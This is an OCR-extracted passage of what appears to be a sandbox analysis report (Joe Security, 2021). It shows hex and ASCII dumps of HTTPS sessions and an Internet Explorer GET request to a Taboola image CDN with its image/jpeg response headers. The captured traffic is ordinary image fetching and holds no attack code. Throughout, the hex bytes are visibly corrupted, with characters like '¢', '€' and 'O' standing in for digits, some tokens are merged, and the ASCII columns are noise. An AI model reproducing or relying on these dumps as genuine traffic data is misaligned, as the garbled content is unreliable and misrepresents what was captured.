d4 c4 51 c4 ce c5 4b ¢5 ¢8 c6 46 c6 c3 c7 41 c7 bf 8 3d c8 bc ¢9 3a c9 b9 ca 38 ca b7 cb 36 cb b6 cc 35 cc b5 cd 35 cd
b5 ce 36 ce b6 cf 37 cf b8 d0 39 d0 ba d1 3c d1 be d2

Data Ascii: uL$hBd@iG&vV8nR7u\D-u'K8%yhYJ;.!zpg_XQKFA=:8655679<

Data Raw: b3 a3 2c d1 09 fa a9 6b 10 19 ab 28 9e be 3b 9f 83 d8 5d ce Ob be 77 Ob 21 7c fe 8c d3 a6 3a 9f d3 e7 ac b4 d7
3b 12 cc Oe €5 47 6b 04 0d 83 33 76 29 0f d4 87 b0 2b 7c cd 07 1a a5 73 dd fb a6 26 77 8a 7f 4c 48 e6 ef 3e 6f 57 3c 76
el af f1 ed cc 5c¢ fa 4b 9f a4 55 80 45 Oe 5f ac f0 b6 d4 fa 5b cf 4a 6e b3 20 52 a5 af ac 2a ¢3 32 6d 57 37 cd 1a c0 93 57
3c 6d dd 24 75 ca 03 87 a3 19 97 a9 6¢ 13 3a €8 63 d9 7f 3b 8e 90 d6 7a 4e 18 al 88 el 64 a9 28 41 1e 90 c6 4a 52 8c
d0 99 b1 9d 66 cb ac b7 d3 19 77 9b d1 b0 1a 34 a5 97 ab 2a d3 5b 72 73 4c b7 3a d1 ee 6e a5 a8 a9 9e 96 c2 38 74 cf
ca 1116 7a 1c Oe 32 54 4c¢ 37 af 3d 8f 97 49 f9 74 1b 33 e9 6e d6 67 4b a8 e5 7e ae 4c 9a b9 a5 c6 cb 2d 8f Ob 18 Oc 33
92 3c f8 59 €9 f0 69 76 27 Oa 36 a3 d8 b5 55 bl 59 08 54

Data Ascii: ,k(;Jw!|:;Gk3v)+|s&WLH>0W<WKUE_[Jn R*2mW7W<m$ul:c;zNd(AJRfw4*[rsL:n8tz2TL7=It3ngK~L-3<Yiv'6UYT

Data Raw: 07 66 ec 71 53 76 1d 06 2c 3f 3d 60 94 44 70 e9 87 af Oe 5f dc 33 be ¢3 13 c0 Oe 87 bl c6 a3 fa 61 91 6b 76 40
01 c8 e3 94 44 03 19 76 53 00 f6 cc 7c ba 1c 44 82 01 fb a8 50 30 87 78 a2 7d 80 80 01 51 10 20 e3 al 11 38 94 42 4d 3f
14 4f 92 cb 19 31 0f 99 fO 4d 44 c4 c0 0a 07 c8 8e 75 80 1f 21 86 01 00 ef 00 47 08 3d e2 a4 €9 4c 02 14 04 47 16 1f cb 8a
06 00 86 13 0a 41 39 cb 89 13 c5 3c 8f 58 €9 aa 50 c8 b5 3e 40 a2 2c 95 01 31 Ob db Of f2 ¢6 c2 22 4e b3 d2 61 1c 50 86
20 fe c2 60 02 8e 3d f0 15 00 32 5¢ 03 d6 25 ¢9 72 f7 d8 08 49 78 09 Oc 91 81 52 00 fc 61 89 e2 38 19 d8 88 60 07 cO e7
62 03 8b 1f b1 c0 30 06 2a 22 21 86 c2 98 70 81 de 24 3e 23 de 7b 47 c7 1b 2b df 89 84 21 0f e6 42 8f 6¢ ff 00 a8 b9 1a
6e 88 1d e3 63 81 4c 01 88 10 Oc 1d e3 94 Oc 20 22

Data Ascii: fqSv,?="Dp_3akv@DVS|DP0x}Q 8BM?01MDu!G=LGA9<XP>@,1"NaP "=2\%rIxRa8 b0*"!p$>#G+!BIncL "
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kBytes
Timestamp transferred Direction Data

2021-10-07 14:20:18 UTC 62 IN Data Raw: 98 28 2a 02 d5 1a 73 36 32 5 29 95 9c 6¢ fb dd 5e 36 76 01 a5 29 73 9e 4e 51 e3 89 09 57 55 88 a9 8b 30 bc
8a 81 8c af 69 5d a2 2e 48 €9 d3 14 b8 b1 b6 1b 57 64 9b 11 cc 6 83 dc e8 46 c6 21 f8 75 dd 07 66 21 6¢ 7e 5 6a 78 c2
db 58 c1 3d 41 f4 02 8e a4 53 5e b8 fc 18 a3 26 d1 93 cb 3c 69 ce 33 7e 50 91 6e 48 e2 55 84 03 89 ab 03 67 6¢ 56 ad d3
5d 35 8a 70 30 32 3a aa a6 2b cc a2 90 ab a6 4c aa ec 4ac2 71 5a 05 el 93 72 b9 66 ba cc b6 04 58 01 5d 44 7e 2d 04
4f ea 76 cd bd 86 29 70 2f 6a 32 5d 37 7e 26 41 57 ad 5a bf 4c 1b 39 4a 9d 55 44 60 9b 4f bc 56 2e 9b 52 90 7f 7e b6 c5
04 dd a6 43 64 57 db 47 c0 36 90 af 56 f4 a4 b5 55 d9 95 bc 5f a6 76 c3 48 78 78 88 b6 11 b1 55 c6 e5 04 2 8d a2 24 26
e2 cd 67 be 3e fe 61 2b 70 83 1f 58 d5 71 0d b6 06 c3 97 62
Data Ascii: (*s62)I"6v)sSNQWUOI]. HWdF!ufll~jxX=AS"&<i3~PnHUgIV]5p02:+LJqZrfX]D~-Ov)p/j2]7~&AWZL9JUD O
V.R~CdWG6VU_vHxxU$&g>a+pXqb

2021-10-07 14:20:18 UTC 64 IN Data Raw: Oe 43 ec 7d 60 aa 47 4d 4b 7b bb 27 1e 16 50 4c e5 d3 1b a6 80 8e 38 1d 83 f4 76 76 b2 5¢c bd 7e 2f 7e e7 51
5a513b 75 a4 07 58 ea 59 74 4c 25 a7 ¢9 71 5f 51 ¢8 82 dd 33 91 el c5 7c 3b 18 7b 47 f2 cb b3 a2 3e 60 f6 22 5a db 95
fO 1d 1d 95 d1 29 2e 63 46 9d 20 3c 61 f7 b7 21 2b 8b 18 6¢ 3a b9 1e 5a 53 c1 da 86 9d al 4a ec 2e 27 ec 12 1d 4f b6 ca
d7 98 b7 78 70 8a 7e f6 c5 a5 €9 f2 66 6b 00 32 94 2b c6 dc 5b e8 f6 23 ¢9 a9 1d 73 ad 7d 11 56 37 4b 59 f7 06 dc 6c 44
00f4 7d 39 58 a3 ¢7 3b 7c 8¢ 7d cf 7a 19 e4 54 a4 3e 9b 9c 73 c5 a6 56 db 6e cf 97 bc 4¢c db b6 86 99 d2 35 8b 14 al 07
78 f2 cb 6e 7e 2b 8e a7 6a ca fd 8f 41 ee 3b e5 76 b9 28 ea €3 47 e2 3d 3e 27 5f ab 5f b3 36 a9 71 53 5b 57 61 5d 32 92
22 bc 57 a0 99 41 14 25 ff 00 95 2a Of ff 00 64 dc 50 a3
Data Ascii: C}' GMK{'PL8W\~/~QZQ;uXYtL%q_Q3|;{G>"Z).cF <a!+|:ZSJ.'Oxp~fk2+[#s}V7KYID}9X;[}zT>sVnL5x
n~+jA;v(G=>'__6qS[Wa]2"WA%*dP

2021-10-07 14:20:18 UTC 65 IN Data Raw: 4a bb 58 12 05 e3 60 52 d2 b7 e5 7e 4c aa 9a 5a fa 90 76 55 24 75 e5 fe 28 a2 77 35 d3 19 b1 d7 f1 1c a9 ee
8b 6d 70 c4 4a 4c 6¢ ba eb 4f 6f d6 2e 24 58 63 68 49 9a ed 2e af 13 28 7e 55 81 9d 72 11 ef dc 17 ae eb e7 6a cc cl dc
4e 7a f3 df a0 17 7f 89 1a 6b 7b 2e d6 ac ed fb 3d 62 60 7f 86 f2 9b 99 ae ea 5b 43 e8 57 36 5d 7d a5 ab 56 7a 43 1b 1d
e2 26 1e Oe 5a 66 3e 22 3d 8c a9 a0 95 b0 b7 05 0a 75 71 65 30 a0 a2 c7 02 10 af dc 30 8c 38 11 fc 99 5b a8 74 Oa el 03
24 d9 ab 53 aa 28 37 df 53 ea Oc 94 4d 75 33 50 75 84 75 69 ab 79 39 a6 ea ac b2 c6 f2 39 fa c0 49 41 1f 82 81 5d 26 3d
94 b3 10 b0 76 34 85 19 a8 bb 06 8c Oe 8e bd 5e 4d 3 1b 05 4e 59 21 76 da a7 b9 9a be 29 63 6e 24 db dc 7c ac 6e a8
68 97 4d 65 75 d7 24 de 0d a2 35 19 c6 1b 12 fb 23 7f 01 60
Data Ascii: IX'R~LZvU$u(w5mpJLIOo.$Xchl.(~UrjNzk{.=b [CW6]}VzC&Zf>"=uqe008[t$S(7 SMu3Puuiy99IA]&=v4"M
NY!v)cn$|nhMeu$s#

2021-10-07 14:20:18 UTC 66 IN Data Raw: 1d 19 43 97 c9 12 a6 da 7f d9 d2 ed be 95 40 28 9c 10 48 e0 53 14 Oc 00 26 29 fc 88 70 78 9a 60 6e 8c 20 60
44 0c 73 7d 71 00 80 40 70 83 ¢3 89 c0 01 34 be e3 ed 30 a6 9a 4a be 29 ff 00 31 13 8d 8e ec 01 36 67 6a d4 a4 05 08 82
22334400 ea 11 e3 e8 a3 18 be 4a 2c 11 29 a9 d2 2e 1d a6 54 d7 29 81 33 2e 2a f9 7a 84 c4 7c 4f 15 11 72 b2 87 38 01
9413 84 70 94 4a aa 06 61 12 0a f9 9a 29 06 Oc 8a a0 82 71 87 60 87 7d 8b 50 6a d5 24 fb 21 90 fb 40 f7 ec 72 a2 84 00
0283 d2 fd 19 0a 07 24 82 08 f4 71 3a 62 45 10 27 9f 89 bc 64 Oc al 8e 44 8a f5 42 24 05 33 41 b0 24 73 fe 66 e4 9b 8d
58 7c 44 e6 72 27 fc a0 99 cc dd 31 28 84 5a ce ce 01 e2 9a 32 97 58 e8 a7 ea b3 2d 6d 8d e2 0d 65 8a 49 16 c8 7d 39 53
1599 49 22 5 73 a7 e2 0f d1 f6 a8 61 e9 55 1a f9 09 bd
Data Ascii: C@(HS&)px'n 'Ds}q@p40J)16gj*3DJ,).T)3.*z|Or8pJa)q }Pj$! @r$q:bE'dDB$3AS$sTX|Dr'i(Z2X-mel}9SI"saU

2021-10-07 14:20:18 UTC 68 IN Data Raw: 98 8b 27 83 7d 91 d4 f2 82 b3 90 67 2a 0f f0 8f 26 91 13 29 ce d9 67 28 3a 42 2e 6e c5 4b Oa ca d3 dd 64 28
87 03 a7 29 23 ba 6b cf 74 13 01 71 0 84 06 91 dd 31 84 35 b3 al 4e 7h 58 20 6a 88 87 Oc dd d5 52 08 01 a5 10 11 ca a5
9e 57 a3 72 14 37 eb 40 Of aa 56 40 b2 34 ae 9f 95 d3 50 f1 a2 21 fb 28 3¢ 9a 7c a2 f7 03 aa 15 01 d5 ab 23 Oe 89 d4 c8
do ca 14 f3 a3 0d 6e 56 84 29 01 4f 39 b9 25 54 a8 49 68 6e a9 d4 c3 1c d2 e3 72 9f 53 33 bd 28 b8 37 4b 94 cc ce 26 10
a4 ef a9 1a 4e bd d1 a4 ff 00 Ob a4 f9 36 08 b1 7 96 ac a6 07 a0 al 22 61 07 3b ea 59 dc 3b ae a3 97 56 35 5d 46 95 14
8ae9 b4 e8 ba 31 al 59 1e 16 72 35 6a 2 23 da 55 3a 44 ¢5 a0 04 c6 b0 07 c2 25 ce 68 06 c2 53 c3 69 e4 85 50 b9 e2 4f
b5 39 €0 40 68 4c a2 4d dc 9d 50 31 c1 8d Ob 3b cf 75 99
Data Ascii: }g*&)g(:B.nKd()#ktq15N{X jRWI7@V@4P!(<[#nV)09%TIhnrS3(7K&N6"a;Y;V5]F1Yr5).#U:D%hSiPO9@h
LMP1;u

2021-10-07 14:20:18 UTC 69 IN Data Raw: e0 le 16 5a 74 ae 5d 25 70 ca 63 11 8d 19 b4 6b 73 27 d7 a9 51 e5 cf a8 63 37 b2 f0 d5 c2 70 74 b0 34 6a 63
2bdb 31 2e 13 €563 31 75 71 95 cd 47 7b 7f a8 f8 8d 59 el 6¢ a7 37 15 €0 Of Oa d1 f2 b0 ec af 8d a8 da d8 81 92 93 4c
b5 bb 95 8a a5 4a a6 25 b5 8d 59 01 b6 68 36 08 bc 99 db 9d 96 03 12 30 b8 ba 75 1d ed d0 aa b5 78 1d 37 1a f9 43 9c 6f
laac 76 3a ae 35 f7 f4 d3 1a 33 f9 30 3f 87 d6 2b ac €5 d6 72 eb 14 2b 15 d5 5d 65 d6 5d 65 d6 5d 65 d6 5d 65 d6 5d 55
d6 2b ac ba cb ac ba cb ac 57 59 db 2e bb b6 46 bb fe 95 d7 a9 f4 23 5e b7 d2 14 11 a3 55 d4 79 1c a5 4f 39 53 f0 d9 7a
55 bb 73 bf 38 56 f2 ac bd 28 93 bf ¢9 95 27 75 27 74 49 de 79 19 d8 73 91 ca db ab 6f ca ea ea 14 73 23 c7 c4 39 8f b7
33 aa 95 60 89 44 a9 57 2a ea 55 fc a0 11 50 7b 85 05 59
Data Ascii: Zt]%pcks'Qc7ptdjc+1.c1uqG{YI7LI%Yh60ux7Cov:530?+r+]e]elele]U+WY.F# Uy09SzUs8V(‘u'tlysos#

93 DW*UP{Y

2021-10-07 14:20:18 UTC 70 IN Data Raw: d9 04 8e ea 07 01 16 8e 02 Oc 1c 2c a3 84 1a 78 4d 63 cb 88 85 a6 ed da 8b 01 d9 3a 9c 5d a9 b5 db 6¢ cd 28
56 61 de 10 20 ee Oa 14 5a €8 39 61 06 b9 e6 dd 89 50 da 61 3e al 75 bb Oe 97 40 c1 08 92 4d e5 7f 5d 2d d3 33 87 62
51 73 8e €5 66 77 2b 3b f9 5a 8f e5 6a 3f 92 b3 bb dc e4 Ob c5 e4 al 52 a7 bc ad 47 1e e9 8e 95 03 84 58 d3 b2 d2 1c 94
35 1b d9 c9 d5 03 6¢ d4 49 27 ba ee a3 2d cf f8 8b cb bf f1 42 25 65 73 8f 7b 74 9f 99 d9 07 bb 72 56 a3 90 ab c8 41 d4 cf
ea 8e 90 08 bd 82 2e 8f a4 20 c2 51 73 04 06 f7 52 49 ba b0 44 9d 90 fc 87 75 4b Oe ea d3 97 2c 8e 56 66 83 61 75 Oe 71
5e 96 7d d1 2e 72 ca 1a 25 ¢5 17 70 14 2b 04 4f 0a 24 5d 40 1d be 75 d3 1c 69 bf 30 50 c1 {7 28 97 39 65 02 ee 2b 39 ec
04 20 c7 12 88 68 dd 5c a8 56 08 19 5e af c8 65 6b 6f 2b
Data Ascii: ,xMc:]i(Va Z9aPa>u@M]-3bQsfw+;Zj?RGX5II'-B%es{trVA. QsRIDUK,Vfaug’}.rép+0$]@uiOP(9e+9 h\V/eko+

2021-10-07 14:20:18 UTC 72 IN Data Raw: 65 99 d5 Ob b2 46 85 88 51 e6 7b 68 ac 81 82 98 c8 c¢3 02 7d 98 d1 56 52 43 29 18 20 8f d9 f3 3a 21 5f 05 09
le 63 f4 e7 3a f3 fd 38 3a 73 88 9d c4 51 af 39 Oa c6 bc c9 c6 47 90 ef a9 5e 65 8¢ bc 26 49 95 56 7¢ Oe 6a 13 80 6f ae bd
d7 df aa b3 08 6¢ 18 ad 23 5a 70 62 12 0f a2 93 b2 f7 56 39 1a 2f Oe el 54 cb 4a 64 b2 41 77 Oa 7e 8b 8b 27 d7 12 29 8c
fd fa de a7 98 bc c1 e2 80 c1 23 20 89 03 f2 6e 6f 18 0a 41 ed ab cd 76 c4 61 al 80 d7 6e 52 72 8f c5 01 4a 16 cb 15 6 6a
97 49 51 f1 2c 96 ab 6a 82 4e d6 ad 32 2a a8 96 23 14 92 14 51 aa 16 de ba a9 b3 52 3d a2 d5 29 4c 2 26 5d 97 94 2a ac
9e d5 e4 75 c0 f2 c6 1b b6 87 60 75 2d 86 de 6b 45 el aa a9 Oa bl €0 b0 01 b5 24 76 29 c8 8b Ob 46 a5 55 88 39 Oe 78
81 cb 5¢ 1b ¢7 0d 80 3d ea 32 7f 61 99 57 eb 11 ec d2
Data Ascii: eFQ{h}VRC) :!_c:8:5Q9G"e&IV|jol#ZpbV9/TIdAW~)# noAvanRrJjlQ, jN2*#QR=)L&]*u u-kE$v)FUIX\=2aW

2021-10-07 14:20:18 UTC 73 IN Data Raw: 5a 07 07 d5 ec 63 fe 04 €9 e4 c7 7c 65 5¢ 7e 7a 47 cf dc cb f9 8c 8d 4b 09 c7 b0 87 1f d4 75 10 21 33 87 25 Of
4 b0 34 48 09 cb 92 7 18 f8 8d 24 98 4f 27 5f 7e 9e ad 84 3d 8e 4b 2e 3c 8f €8 12 4c e5 47 73 85 40 48 5¢ b1 f6 Oc 9d 29
98 94 16 2d 3a e5 e4 64 b4 be a2 2e 7b 6 4¢ f1 1a 15 3a 6a 5e a2 ac 7f 53 31 61 24 c2 49 a3 Oc d2 f1 0a 49 70 e4 0f dd
1a 87 74 93 78 6b d7 36 8d 82 a4 9f 4d 2c b6 7d 19 2b 78 fc 3d 64 53 c0 81 a0 al 77 ca f1 ad 1f ad 1c 31 b5 84 6f Oc 67
d9 96 20 82 35 0b 59 dd 37 74 bd 2e dd 2c c8 f2 41 1a 40 c1 a4 60 80 61 59 df 01 75 1f 88 3 49 3c d2 60 b8 42 ed 92 15
9f 3d 81 3a 8b 9a cf 3c 21 03 12 43 c2 81 hd d8 f5 b3 81 a2 b1 ¢5 62 18 18 15 ch 72 99 1d c1 1d c7 6f 50 €9 00 b5 13 48
87 c3 fb 22 46 8b be 18 fb 53 55 56 7a 66 c7 8c 19
Data Ascii: Zc|e\~zGKu!3%4H$0O'_~=K.<LGs@H\)-:d.{L:j*S1a$lIptxk6M }+x=dSwlog 5Y7t., A@ aYul<'B=:<!Cbro
PH"FSUVzf
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kBytes

Timestamp transferred Direction
2021-10-07 14:20:18 UTC 74 IN
2021-10-07 14:20:18 UTC 76 IN
2021-10-07 14:20:18 UTC 77 IN
2021-10-07 14:20:18 UTC 79 IN
2021-10-07 14:20:18 UTC 80 IN
2021-10-07 14:20:18 UTC 81 IN
2021-10-07 14:20:18 UTC 83 IN
Session ID Source IP Source Port
22 192.168.2.5 49847
kBytes
Timestamp transferred Direction
2021-10-07 14:20:18 UTC 35 ouT

Copyright Joe Security LLC 2021

Data

Data Raw: d1 ef 14 44 cc 18 2c 30 29 8e c0 e7 33 1f 25 03 5f d9 27 58 b2 09 6a d3 81 43 34 27 df Oc 2c 70 8b 91 da 67
d5 3b 74 €8 85 92 28 37 0b d6 2c c2 al 9b 80 93 c0 4f Oe 36 72 4e 03 60 eb a5 55 12 bc 5e 00 44 96 bb 78 05 41 8f b2 9f
2e 27 55 95 da 37 ed 16 ef 6e 31 c6 c1 e4 d8 01 4f 66 d4 dO 5a 68 1e b3 98 b7 c9 b2 53 c1 30 30 c3 a7 bl 35 bf d7 8a 66
89 dc cl be f3 39 8¢ 37 1c 73 23 f7 b5 d7 d4 fd 19 24 48 ca 4d 4e 50 03 b9 90 e7 2c 49 c1 6d 75 15 06 b0 67 e7 15 9d af
¢5 18 9d 0a 36 7c 2f f1 b5 5d bc 5b 30 4c 1a de cf 66 Oe 26 25 74 23 f1 0f ae 89 66 a5 14 00 8b 16 9e b1l 66 86 52 e0 8e
40 fb Oe ba 0a 2a b7 21 75 84 8d dc b9 23 ¢7 49 50 94 09 ee 4d 6d b5 e6 db 4c 80 35 4d 9e cd d5 2a 64 f1 54 06 Oc e 44
9d 75 3e e8 bb 91 6¢ a5 1d b6 2a c1 33 30 94 63 d2 33 e5

Data Ascii: D,0)3%_"'XjC4",pg;t(7,06rN"U”DxA.'U7n10fZhS005f97s#$HMNP,Imug6|/][OLf&%t#ffR@*!u#IPMmL5M*
dTDu>I*30c3

Data Raw: b6 aa 1d 3d 59 05 96 bd 76 54 4e de 30 fa 16 3c 55 e4 94 8c f0 03 52 ec 4f Oe df 05 d6 ea le a5 8a 48 2d 6e
34 ec b3 f0 3b 5¢ 45 0a 63 c8 c4 5b eb 0d 75 16 €9 05 5e a8 9b a9 52 de fb 66 19 a6 9e c7 a2 24 02 79 df 8f 92 70 2e 99
c3 2e a2 de 13 79 da b7 bd d2 b3 ed 2a 82 a4 70 6d a9 61 dd 90 47 f5 da 59 ab ba 00 ba 93 6e ea 4e a7 9f 71 dc 77 2d
a5 al 6af2 d3 8959 12 al c3 bl 64 56 4c f1 0d dc 01 a9 f6 7e 96 ae 9f 45 24 8f e0 da dc 3e 3 24 a3 d5 87 fb ff 00 36 d6
c6 9e 14 41 73 b6 6d ed b8 3e 07 ef bd 48 e5 f9 b1 d7 53 6f 56 e4 47 71 0d 0d a9 e4 70 91 8c 92 55 8a 1d 75 54 Oe 3c d2
d5 58 6b 91 f1 0d 2e b7 42 3f €9 6b ff 00 eb d6 f8 87 dc 9e 8c ff 00 eb 97 5d 4b 51 18 64 3c b4 17 8f cd 1d b5 34 39 18 c4
d4 67 fe a4 3a €9 48 d9 db 2c ed 48 53 24 fb cb 14 4d

Data Ascii: =YVTNO<UROH-n4;\Ec[u"Rf$yp..y*pmaGYnNqw-jYdVL~E$>$6Asm>HSoVGqpUuT<Xk.B?k]KQd<49g:H,HS$M

Data Raw: ff 00 55 d9 dd 20 dc f7 28 a5 a5 b1 59 7a b2 2c 33 3d 77 97 06 c3 86 6e fd c0 24 7d 6d 5a ea a8 77 6d be 8d 9d
al 22 47 db 36 fd aa fa 06 2f 1a 42 84 ac €3 d7 e2 09 04 b0 d6 df 59 cd 5e 56 b6 96 29 4a a6 e3 2d 34 32 41 1a 20 e4 19
c9 1c 54 b8 63 f7 6a d6 c1 48 ff 00 28 6e fb e3 d1 95 e8 78 5b 4e df e0 30 47 79 1c 3c 85 cb bf d5 ec e5 74 fb e9 ea ce b2
3b fc f0 41 ce 9c 49 el 3c ¢6 18 58 a3 72 71 f4 ec 5b 5b 54 3f d8 ed 58 25 de 2b d4 68 e4 b3 0a 9f al 81 25 8e 3f 58 33 1c
22 29 d4 7 2e 6d 14 52 df fb ed 6d 6a 99 51 9f 81 el 14 22 5¢ 9d 74 d6 dd b6 d9 ba 60 bc 36 fd be d3 d8 84 71 3e 66 c9
75 0c 35 b9 ef 75 66 57 35 66 db f6 ea 11 11 8f 25 74 f0 43 a1 d6 fd e2 98 63 2e 46 e3 5a 21 c9 97 bf d4 75 1a df 47 c7 7d
8c 7f 09 75 bd 7f df 88 7f 8c 9a de 1b fe bf

Data Ascii: U (Yz,3=wn$}mZwm"G6/BYAV)J-42A TcjH(nx[NOGy<t;Al<Xrq[[T?X%+h%?X3").mRmjQ"\t 6g>fu5ufW5{%
tCc.FZIuG}lu

Data Raw: 55 1e 6¢ 4e 00 cf de 75 20 9b 70 60 11 94 02 b1 86 6e 2a 5b ee 27 49 05 8a 33 88 a8 49 22 80 1c 72 ef dd fb
13 ¢4 64 6a 9b 0f d5 48 bl d6 65 c2 fa 67 99 66 61 f6 74 57 82 46 7c 40 41 57 62 3d 60 be de df 7e b2 4e 9c 8f 86 98 7e 1f
a4 09 3f 71 41 76 f9 28 27 56 2a f4 f5 aa €8 d4 d7 a7 aa 26 d9 24 d2 c2 ea 5a 09 66 98 99 14 3a 65 41 49 35 4a b6 d8 f5
ac d4 el 2a b4 {7 5f d2 a4 13 ¢8 93 58 9c 1e 61 bf c2 29 23 1e 7a 32 cd 6a 1f 4d 8e 1b 52 3d 89 9d a4 c1 e3 el 10 d2 05
27 d6 1c 75 24 4b 25 ¢8 12 19 a4 7f 01 Oa a3 16 f0 80 84 17 50 4f d9 7c 76 d2 49 73 6¢ dd 86 el 49 59 1a 01 04 f1 Oe 29
27 1472 1c 8f 61 6d 45 12 96 67 29 1a 84 Oc ec 72 49 c7 b4 9f 33 ad b7 f9 3¢ dd 13 ac Oc d7 12 94 82 47 3b 3a 44 85 15
1a 17 98 34 9c f9 65 4b 28 6d 59 df a5 eb ad d2 b4 9b

Data Ascii: UINu p'n*['13I"rdjHegfatWF|@AWb="~N~?qAv('V*&$Zf:eAl5J*_Xa)#z2]MR="u$K%PO|vIsllY) ramEQ)ri3<G;:D4e
K(mY

Data Raw: f8 44 40 73 a9 ad cd d2 3b d7 45 cf b2 50 97 15 21 dd 20 db eb 5a 16 61 ad 2b e1 00 51 7d b5 Oe d7 d4 5d 43
5a ad 1a 5b 32 4e 96 ff 00 54 6d 74 c9 64 80 ce a0 06 79 a4 73 24 9a 54 2e c0 22 0f 59 dc 9f 62 a8 ee 74 36 ea 69 d9 51
fb cd 33 9f 28 a2 41 92 ee 7d c3 52 f4 be ¢9 92 11 60 7c 5d 98 1f 6¢ b3 2f 75 f8 26 b7 4d ea c7 2c ca d5 ab 4b 6d c9 3e d6
28 18 eb aa ba 64 Oc 17 96 4a 56 20 ae e3 dd 28 74 08 eb f7 36 ab 6d bd 4c 23 cc 45 0f Oa db 88 51 dc ¢3 9c f1 97 da 63
d6 52 2d c6 19 78 3f fc da a8 95 3f 35 d6 49 27 f4 0a 37 95 19 al 76 8c 48 8c 47 d9 60 75 5a a6 ea le 50 de 3a 04 40 21
5c b7 d8 7f 76 ab d0 7d b5 e7 82 d5 c9 6a a9 ae f6 62 70 a6 24 75 88 fa fe df 86 ac c9 5e ea 3d 47 86 49 31 1c 13 93 d9
b8 80 07 d6 18 d7 75 24 7c b5 05 da cf f5 al 9d 04 8a

Data Ascii: D@s;EP! Za+Q}|CZ[2NTmtdys$T."Ybt6iQ3(A}R[JI/u&M,Km>(dJV (t6mL#EQCR-x??5I'7vHG uZP:@!\v}
jbp$ur=Gl1u$|

Data Raw: 85 84 31 3d 90 Of 6e Oe 33 a2 a4 79 10 74 ec 3d c4 e9 05 e2 fO db a2 1d 82 ab cd 5d b9 04 24 f9 73 19 5d 6e
fb 6e d5 Oc 62 06 9a db c1 59 62 84 Oc 71 36 94 19 5d 00 ed 85 27 42 6 f3 6e 30 97 b7 42 9c 72 a0 e7 c2 81 4f d4 8f f3 3f
b7 e6 00 3f 01 fd ac e7 el a6 1d ff 00 67 1a 62 3d d9 fd 03 fe 03 d3 8a 31 90 cd b5 2f f5 26 ba 66 5f bc 6d 69 fd 69 ae 98
07 38 €2 76 a4 ff 00 67 ae 92 6e e4 76 db 63 ff 00 d1 ae 99 6f 79 1b 64 27 fd 0d 74 c7 fd db 06 ba 5d 33 ef da e2 1f e8 eb
a4 cb 7b ff 00 57 2e ba 58 86 f2 23 6¢ 4d 74 8f cO d1 8f 5d 24 4f b8 53 8b 5d 20 df 71 a5 Oe ba 51 be 14 61 ff 00 d7 ae 97
38 f7 51 8b fa 9f 5d 29 8 d2 8b fd a6 ba 59 8f b9 68 c6 7f d6 6b a5 fe 0d 45 07 fa dd 74 b3 01 e6 45 34 ff 00 6d ae 95 ff 00
23 4f 6 da e9 af f2 Of fd ed 74 c0 0d

Data Ascii: 1=n3yt=]$s]nnbYbq6]'Bn0BrO??gb=1/&f_mii8vgnvcoydt]3{W.X#Mt]$OS] qQa8Q])YhkEtE4m#Ot

Data Raw: 9f 32 e3 52 af ef 34 6¢ d9 1f O 5b 5b 94 ac 09 c4 86 46 1a 55 e2 3¢ da 77 €5 8 f2 ¢6 95 10 f9 e1 98 e7 f8 e9 0
7b 16 42 75 42 48 8f d6 52 f2 65 b5 b6 42 83 d9 €0 78 ac 7f 9d 27 2d 45 8¢ 77 01 17 03 €0 00 5d 28 53 8e eb 02 77 1f 7e
5¢ 6a 24 €2 7d b5 2 4f c9 ce a0 84 €0 f1 2b 5¢ b1 f8 {7 6d 45 22 82 41 73 4d 01 c8 3f 79 3a a8 ae 99 00 7a 24 44 b0 7 92
72 35 5a 32 €3 21 3d 1a 20 00 {7 7a 83 55 €6 3e df {7 34 00 7 €2 46 a0 5e 7e c6 8a 2f 3f c1 Oe aa 46 70 3e cb ff 00 a2 06
a2 44 16 Oc 60 7e 40 ea aa bo ed cc 47 93 f9 a6 84 92 fd 6¢ 08 86 3f 30 34 4f 6f 2e 11 e8 00 7d f1 44 c3 48 c9 9c 8e 30 c6
ba 97 24 63 96 23 c1 d3 47 fb bc 53 53 be 3d 81 02 9c fc f5 61 49 f2 32 60 e3 e4 Oe a3 cb 1c Oe ¢7 27 f2 d4 53 60 63 24
80 7e 78 d1 c7 b0 2b 26 3f 30 34 ¢8 3f 77

Data Ascii: 2RAI[[FU<W{BUBHReBX"-EW](Sw~\[$}0O-HmE"AsM?y:z$Dr5221= zU>4F~/?Fp>D'~@GI|20400. }DHOS$CHGSS
=al2"'S c$~x+82047W

Destination IP Destination Port Process

151.101.1.44 443 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2Ce_sharpen/http%3A%
2F%2Fcdn.taboolasyndication.com%2Flibtrc%2Fstatic%2Fthumbnails%2F89b2a2c406225ac19893953e2f531377.jpg
HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: img.img-taboola.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-10-07 14:20:18 UTC 122

2021-10-07 14:20:18 UTC 123

2021-10-07 14:20:18 UTC 125

2021-10-07 14:20:18 UTC 126

2021-10-07 14:20:18 UTC 127

2021-10-07 14:20:18 UTC 129

2021-10-07 14:20:18 UTC 130
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Direction

IN

Data

HTTP/1.1 200 OK

Connection: close

Content-Length: 13222

Server: nginx

Content-Type: image/jpeg

access-control-allow-headers: X-Requested-With

access-control-allow-origin: *

edge-cache-tag: 340504423124420904547014405831088011403,335819361778233258019105610798549877581,29¢ec
f9b93bbf306179626feedalfab70

etag: "c183e20924edd1400ala9e483df48afc"

expiration: expiry-date="Mon, 04 Oct 2021 00:00:00 GMT", rule-id="delete fetch for taboola after 30 days"

last-modified: Fri, 03 Sep 2021 09:05:11 GMT

timing-allow-origin: *

x-ratelimit-limit: 101

x-ratelimit-remaining: 2

X-ratelimit-reset: 5

X-envoy-upstream-service-time: 74

X-backend-name: LA_DIR:3FP7YNX3LMizprTZsG7BSW--F_LA nlb203

Cache-Control: public, max-age=31536000

Accept-Ranges: bytes

Date: Thu, 07 Oct 2021 14:20:18 GMT

Via: 1.1 varnish

Age: 592884

X-Served-By: cache-wdc5578-WDC, cache-mxp6980-MXP

X-Cache: HIT, MISS

X-Cache-Hits: 1, 0

X-Timer: S1633616418.069714,VS0,VE263

